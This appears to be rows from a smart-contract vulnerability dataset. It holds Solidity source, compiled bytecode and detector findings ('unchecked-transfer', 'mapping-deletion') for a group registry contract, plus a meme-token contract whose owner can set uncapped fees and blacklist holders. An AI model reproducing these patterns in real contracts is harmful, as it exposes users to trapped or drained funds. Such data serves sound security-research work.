delete _group.index2globalIndex[_groupMembersCount];
_groupMembersCount = _groupMembersCount.sub(1);
_removeGroupFromMember(_user, _groupName);
UserFromGroupRemoved(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
/// @notice Check is user registered
///
/// @param _user user address
///
/// @return status
function isRegisteredUser(address _user) public view returns (bool) {
return memberAddress2index[_user] != 0;
}
/// @notice Check is user in group
///
/// @param _groupName user array
/// @param _user user array
///
/// @return status
function isUserInGroup(bytes32 _groupName, address _user) public view returns (bool) {
return isRegisteredUser(_user) && address2member[_user].groupName2index[_groupName] != 0;
}
/// @notice Check is group exist
///
/// @param _groupName group name
///
/// @return status
function isGroupExists(bytes32 _groupName) public view returns (bool) {
return groupName2index[_groupName] != 0;
}
/// @notice Get current group names
///
/// @return group names
function getGroups() public view returns (bytes32[] _groups) {
uint _groupsCount = groupsCount;
_groups = new bytes32[](_groupsCount);
for (uint _groupIdx = 0; _groupIdx < _groupsCount; ++_groupIdx) {
_groups[_groupIdx] = index2groupName[_groupIdx + 1];
}
}
/// @notice Gets group members
function getGroupMembers(bytes32 _groupName)
public
view
returns (address[] _members)
{
if (!isGroupExists(_groupName)) {
return;
}
Group storage _group = groupName2group[_groupName];
uint _membersCount = _group.membersCount;
if (_membersCount == 0) {
return;
}
_members = new address[](_membersCount);
for (uint _userIdx = 0; _userIdx < _membersCount; ++_userIdx) {
uint _memberIdx = _group.index2globalIndex[_userIdx + 1];
_members[_userIdx] = index2memberAddress[_memberIdx];
}
}
/// @notice Gets a list of groups where passed user is a member
function getUserGroups(address _user)
public
view
returns (bytes32[] _groups)
{
if (!isRegisteredUser(_user)) {
return;
}
Member storage _member = address2member[_user];
uint _groupsCount = _member.groupsCount;
if (_groupsCount == 0) {
return;
}
_groups = new bytes32[](_groupsCount);
for (uint _groupIdx = 0; _groupIdx < _groupsCount; ++_groupIdx) {
uint _groupNameIdx = _member.index2globalIndex[_groupIdx + 1];
_groups[_groupIdx] = index2groupName[_groupNameIdx];
}
}
// PRIVATE
function _removeGroupFromMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount;
uint _memberGroupIndex = _member.groupName2index[_groupName];
if (_memberGroupIndex != _memberGroupsCount) {
uint _lastGroupGlobalIndex = _member.index2globalIndex[_memberGroupsCount];
bytes32 _lastGroupName = index2groupName[_lastGroupGlobalIndex];
_member.index2globalIndex[_memberGroupIndex] = _lastGroupGlobalIndex;
_member.groupName2index[_lastGroupName] = _memberGroupIndex;
}
delete _member.groupName2index[_groupName];
delete _member.index2globalIndex[_memberGroupsCount];
_member.groupsCount = _memberGroupsCount.sub(1);
}
function _addGroupToMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount.add(1);
_member.groupName2index[_groupName] = _memberGroupsCount;
_member.index2globalIndex[_memberGroupsCount] = groupName2index[_groupName];
_member.groupsCount = _memberGroupsCount;
}
} | 0x60606040526004361061012f5763ffffffff60e060020a600035041663018f003e8114610134578063182e8a67146101655780631846d125146101805780631f5bdf5d146101aa5780632199d5cd146101c957806321f2ca3b146101e8578063297f9af0146102075780632b04b4781461021a5780633da04e4a1461023c57806341ad5c72146102ae5780634592cd1d146102c7578063514bb531146102da578063557f4bc9146102f05780635aa77d3c1461030f5780635e5ff24b1461033e57806366f94e0f146103605780636c052cd81461037657806383197ef01461038c578063885e2750146103a1578063c72b5176146103b4578063ce606ee0146103c7578063d7a405a6146103da578063d8f9659b146103f0578063d93839751461044a578063da4f289914610460575b600080fd5b341561013f57600080fd5b610153600160a060020a0360043516610482565b60405190815260200160405180910390f35b341561017057600080fd5b6101536004356024351515610494565b341561018b57600080fd5b6101966004356104e4565b604051901515815260200160405180910390f35b34156101b557600080fd5b610196600160a060020a03600435166104fb565b34156101d457600080fd5b610153600160a060020a0360043516610518565b34156101f357600080fd5b610153600160a060020a036004351661065b565b341561021257600080fd5b6101536107fe565b341561022557600080fd5b610153600480359060248035908101910135610804565b341561024757600080fd5b61025b600160a060020a03600435166109d3565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561029a578082015183820152602001610282565b505050509050019250505060405180910390f35b34156102b957600080fd5b610153600435602435610aa0565b34156102d257600080fd5b610196610ba7565b34156102e557600080fd5b610153600435610bf2565b34156102fb57600080fd5b610196600160a060020a0360043516610c04565b341561031a57600080fd5b610322610c57565b604051600160a060020a03909116815260200160405180910390f35b341561034957600080fd5b610153600480359060248035908101910135610c66565b341561036b57600080fd5b610322600435610e03565b341561038157600080fd5b61025b600435610e1e565b341561039757600080fd5b61039f610eee565b005b34156103ac57600080fd5b610153610f13565b34156103bf57600080fd5b61025b610f19565b34156103d257600080fd5b610322610f8a565b34156103e557600080fd5b610196600435610f99565b34156103fb57600080fd5b610153600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050509235600160a060020a03169250610fae915050565b341561045557600080fd5b6101536004356110fd565b341561046b57600080fd5b610196600435600160a060020a036024351661110f565b60046020526000908152604090205481565b6000805433600160a060020a03908116911614156104de576104b5836104e4565b15156104c057600080fd5b506000828152600a60205260409020805460ff191682151517905560015b92915050565b60008181526008602052604090205415155b919050565b600160a060020a0316600090815260046020526040902054151590565b60008054819033600160a060020a039081169116141561065557600160a060020a038316151561054757600080fd5b610550836104fb565b15610568576105616201b199611152565b9150610655565b60025461057c90600163ffffffff61118b16565b6002819055600160a060020a03841660008181526004602090815260408083208590558483526003909152908190208054600160a060020a03191690921790915590915080519081016040908152600160a060020a0385168083526000602080850182905291815260059091522081518154600160a060020a031916600160a060020a03919091161781556020820151600190910155507f0b0376a109cbb578b709f85f6a7befcdac3ac1ab251c99ede87f30c9572ac4d383604051600160a060020a03909116815260200160405180910390a1600191505b50919050565b6000805481908190819033600160a060020a03908116911614156107f657600160a060020a038516151561068e57600080fd5b600160a060020a03851660009081526004602052604090205492508215806106d05750600160a060020a03851660009081526005602052604090206001015415155b156106e8576106e16201b19f611152565b93506107f6565b600254600160a060020a038616600090815260046020526040812055915082821461075157506000818152600360209081526040808320548584528184208054600160a060020a031916600160a060020a03909216918217905580845260049092529091208390555b600160a060020a03851660008181526005602090815260408083208054600160a060020a031990811682556001918201859055878552600384528285208054909116905593835260049091528120556107b190839063ffffffff61119a16565b6002557f4bc56f1321288dfb5b416cb3a7fd188723979f9e866c91d88eccf7fca039d03985604051600160a060020a03909116815260200160405180910390a1600193505b505050919050565b60025481565b600080600080600080600080600033600160a060020a03166000809054906101000a9004600160a060020a0316600160a060020a031614156109c4576108498c6104e4565b151561085457600080fd5b60008c81526009602052604081206002810154909950975095505b898610156109b8578a8a8781811061088357fe5b60209081029290920135600160a060020a031660008181526004845260408082205460038e01909552902054909750919550909350508315806108c4575082155b156108ce576109ad565b82871461091e5750506000858152600487016020818152604080842054808552600380845282862054878752948452828620829055600160a060020a03909416808652938b019092529092208390555b600160a060020a0385166000908152600389016020908152604080832083905589835260048b0190915281205561095c87600163ffffffff61119a16565b9650610968858d6111ac565b7fa4855c75f3fd067fb65c2fb91de0ddd2d34409221ace6e2501684877ace3b0c8858d604051600160a060020a03909216825260208201526040908101905180910390a15b85600101955061086f565b60028801879055600198505b50505050505050509392505050565b6109db6112ce565b6000806000806109ea866104fb565b15156109f557610a97565b600160a060020a038616600090815260056020526040902060018101549094509250821515610a2357610a97565b82604051805910610a315750595b90808252806020026020018201604052509450600091505b82821015610a975750600181016000908152600384016020908152604080832054808452600790925290912054858381518110610a8257fe5b60209081029091010152600190910190610a49565b50505050919050565b60008054819033600160a060020a0390811691161415610ba057831515610ac657600080fd5b610acf846104e4565b15610ae757610ae06201b19a611152565b9150610ba0565b600654610afb90600163ffffffff61118b16565b600085815260086020908152604080832084905583835260079091529081902086905590915060609051908101604090815285825260208083018690526000828401819052878152600990915220815181556020820151816001015560408201516002909101555060068190557f68f2001f3d21c00cd78cc99ed066e602521463b601394d6b4b0664ceed3946118460405190815260200160405180910390a1600191505b5092915050565b60015460009033600160a060020a03908116911614610bc857506000610bef565b506001805460008054600160a060020a0319908116600160a060020a038416179091551681555b90565b60076020526000908152604090205481565b6000805433600160a060020a03908116911614156104f657600160a060020a0382161515610c34575060006104f6565b5060018054600160a060020a038316600160a060020a0319909116178155919050565b600154600160a060020a031681565b60008060008060008033600160a060020a03166000809054906101000a9004600160a060020a0316600160a060020a03161415610df757610ca6896104e4565b1515610cb157600080fd5b60008981526009602052604081206002810154909650945092505b86831015610deb57878784818110610ce057fe5b90506020020135600160a060020a031691506004600083600160a060020a0316600160a060020a0316815260200190815260200160002054905080600014151515610d2a57600080fd5b600160a060020a038216600090815260038601602052604090205415610d4f57610de0565b610d6084600163ffffffff61118b16565b600160a060020a038316600090815260038701602090815260408083208490558383526004890190915290208290559350610d9b828a611267565b7fca89f64dd650c9243356a207b3f79c5cfd0eea1fd05ccc688905417e1b135ee1828a604051600160a060020a03909216825260208201526040908101905180910390a15b826001019250610ccc565b60028501849055600195505b50505050509392505050565b600360205260009081526040902054600160a060020a031681565b610e266112ce565b600080600080610e35866104e4565b1515610e4057610a97565b600086815260096020526040902060028101549094509250821515610e6457610a97565b82604051805910610e725750595b90808252806020026020018201604052509450600091505b82821015610a975750600181016000908152600484016020908152604080832054808452600390925290912054600160a060020a0316858381518110610ecc57fe5b600160a060020a03909216602092830290910190910152600190910190610e8a565b60005433600160a060020a0390811691161415610f115733600160a060020a0316ff5b565b60065481565b610f216112ce565b600654600081604051805910610f345750595b90808252806020026020018201604052509250600090505b81811015610f855760018101600090815260076020526040902054838281518110610f7357fe5b60209081029091010152600101610f4c565b505090565b600054600160a060020a031681565b600a6020526000908152604090205460ff1681565b6000805481908190819033600160a060020a03908116911614156110f457600092505b85518310156110ef57858381518110610fe657fe5b90602001906020020151915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561104957600080fd5b6102c65a03f1151561105a57600080fd5b505050604051805191505080156110e45781600160a060020a031663a9059cbb868360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156110c857600080fd5b6102c65a03f115156110d957600080fd5b505050604051805150505b600190920191610fd1565b600193505b50505092915050565b60086020526000908152604090205481565b600061111a826104fb565b801561114b5750600160a060020a038216600090815260056020908152604080832086845260020190915290205415155b9392505050565b60007f2e36a7093f25f22bd4cbdeb6040174c3ba4c5fe8f1abc04e7c3c48f26c7413e08260405190815260200160405180910390a15090565b60008282018381101561114b57fe5b6000828211156111a657fe5b50900390565b600160a060020a03821660009081526005602090815260408083206001810154858552600282019093529083205490928082841461122257505060008281526003840160208181526040808420548085526007835281852054868652938352818520819055838552600288019092529092208390555b600086815260028601602090815260408083208390558683526003880190915281205561125684600163ffffffff61119a16565b856001018190555050505050505050565b600160a060020a03821660009081526005602052604081206001808201549192916112979163ffffffff61118b16565b6000938452600283016020908152604080862083905560088252808620548387526003860190925290942093909355506001015550565b602060405190810160405260008152905600a165627a7a7230582078d97f734cd83b1a0f1df28aded3a831fb8aefe1f6283c53636fee785c68fb920029 | {"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,894 |
0x8f4a78cd7350bab7db8cb659b56ac2b7ecd2a105 | /*
// Pushin P Launchin on ETH 2/1/22
https://t.me/pushinpeth
Twitter.com/PushinPETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PushinP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Pushin P";
string private constant _symbol = "PiP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 9;
//Sell Fee
uint256 private _distroFeeOnSell = 2;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x94386AA8BE5cF5b4c0167a69491B7efD7D81F3aA);
address payable private _devAddress = payable(0x94386AA8BE5cF5b4c0167a69491B7efD7D81F3aA);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 10000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(9).mul(8));
_devAddress.transfer(amount.div(9).mul(1));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function swap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function LimitBuy(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function MaxWallet(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
} | 0x60806040526004361061019f5760003560e01c8063715018a6116100ec578063a2a957bb1161008a578063c3c8cd8011610064578063c3c8cd80146104bf578063ccd1f6ea146104d4578063dd62ed3e146104f4578063fc3422791461053a57600080fd5b8063a2a957bb1461044f578063a9059cbb1461046f578063bfd792841461048f57600080fd5b80638f70ccf7116100c65780638f70ccf7146103cd5780638f9a55c0146103ed57806395d89b411461040357806398a5c3151461042f57600080fd5b8063715018a6146103845780637d1db4a5146103995780638da5cb5b146103af57600080fd5b80632fd689e31161015957806349bd5a5e1161013357806349bd5a5e1461030f5780636b9990531461032f5780636fc3eaec1461034f57806370a082311461036457600080fd5b80632fd689e3146102bd578063313ce567146102d357806340c70fbf146102ef57600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b3146102105780631694505e1461024057806318160ddd1461027857806323b872dd1461029d57600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c636600461168b565b61055a565b005b3480156101d957600080fd5b50604080518082019091526008815267050757368696e20560c41b60208201525b6040516102079190611750565b60405180910390f35b34801561021c57600080fd5b5061023061022b3660046117a5565b6105f9565b6040519015158152602001610207565b34801561024c57600080fd5b50601454610260906001600160a01b031681565b6040516001600160a01b039091168152602001610207565b34801561028457600080fd5b50670de0b6b3a76400005b604051908152602001610207565b3480156102a957600080fd5b506102306102b83660046117d1565b610610565b3480156102c957600080fd5b5061028f60185481565b3480156102df57600080fd5b5060405160098152602001610207565b3480156102fb57600080fd5b506101cb61030a366004611812565b610679565b34801561031b57600080fd5b50601554610260906001600160a01b031681565b34801561033b57600080fd5b506101cb61034a36600461182b565b6106a8565b34801561035b57600080fd5b506101cb6106f3565b34801561037057600080fd5b5061028f61037f36600461182b565b610720565b34801561039057600080fd5b506101cb610742565b3480156103a557600080fd5b5061028f60165481565b3480156103bb57600080fd5b506000546001600160a01b0316610260565b3480156103d957600080fd5b506101cb6103e8366004611848565b6107b6565b3480156103f957600080fd5b5061028f60175481565b34801561040f57600080fd5b5060408051808201909152600381526205069560ec1b60208201526101fa565b34801561043b57600080fd5b506101cb61044a366004611812565b6107fe565b34801561045b57600080fd5b506101cb61046a36600461186a565b61082d565b34801561047b57600080fd5b5061023061048a3660046117a5565b61086b565b34801561049b57600080fd5b506102306104aa36600461182b565b60106020526000908152604090205460ff1681565b3480156104cb57600080fd5b506101cb610878565b3480156104e057600080fd5b506101cb6104ef366004611812565b6108ae565b34801561050057600080fd5b5061028f61050f36600461189c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054657600080fd5b506101cb610555366004611848565b6108dd565b6000546001600160a01b0316331461058d5760405162461bcd60e51b8152600401610584906118d5565b60405180910390fd5b60005b81518110156105f5576001601060008484815181106105b1576105b161190a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ed81611936565b915050610590565b5050565b6000610606338484610925565b5060015b92915050565b600061061d848484610a49565b61066f843361066a85604051806060016040528060288152602001611a50602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ebe565b610925565b5060019392505050565b6000546001600160a01b031633146106a35760405162461bcd60e51b8152600401610584906118d5565b601755565b6000546001600160a01b031633146106d25760405162461bcd60e51b8152600401610584906118d5565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b03161461071357600080fd5b4761071d81610ef8565b50565b6001600160a01b03811660009081526002602052604081205461060a90610f8d565b6000546001600160a01b0316331461076c5760405162461bcd60e51b8152600401610584906118d5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107e05760405162461bcd60e51b8152600401610584906118d5565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108285760405162461bcd60e51b8152600401610584906118d5565b601855565b6000546001600160a01b031633146108575760405162461bcd60e51b8152600401610584906118d5565b600893909355600a91909155600955600b55565b6000610606338484610a49565b6012546001600160a01b0316336001600160a01b03161461089857600080fd5b60006108a330610720565b905061071d81611011565b6000546001600160a01b031633146108d85760405162461bcd60e51b8152600401610584906118d5565b601655565b6000546001600160a01b031633146109075760405162461bcd60e51b8152600401610584906118d5565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0383166109875760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610584565b6001600160a01b0382166109e85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610584565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aad5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610584565b6001600160a01b038216610b0f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610584565b60008111610b715760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610584565b6000546001600160a01b03848116911614801590610b9d57506000546001600160a01b03838116911614155b15610db157601554600160a01b900460ff16610c0557601654811115610c055760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610584565b6001600160a01b03831660009081526010602052604090205460ff16158015610c4757506001600160a01b03821660009081526010602052604090205460ff16155b610c9f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610584565b6015546001600160a01b03838116911614610d245760175481610cc184610720565b610ccb9190611951565b10610d245760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610584565b6000610d2f30610720565b601854601654919250821015908210610d485760165491505b808015610d5f5750601554600160a81b900460ff16155b8015610d7957506015546001600160a01b03868116911614155b8015610d8e5750601554600160b01b900460ff165b15610dae57610d9c82611011565b478015610dac57610dac47610ef8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610df357506001600160a01b03831660009081526005602052604090205460ff165b80610e2557506015546001600160a01b0385811691161480159061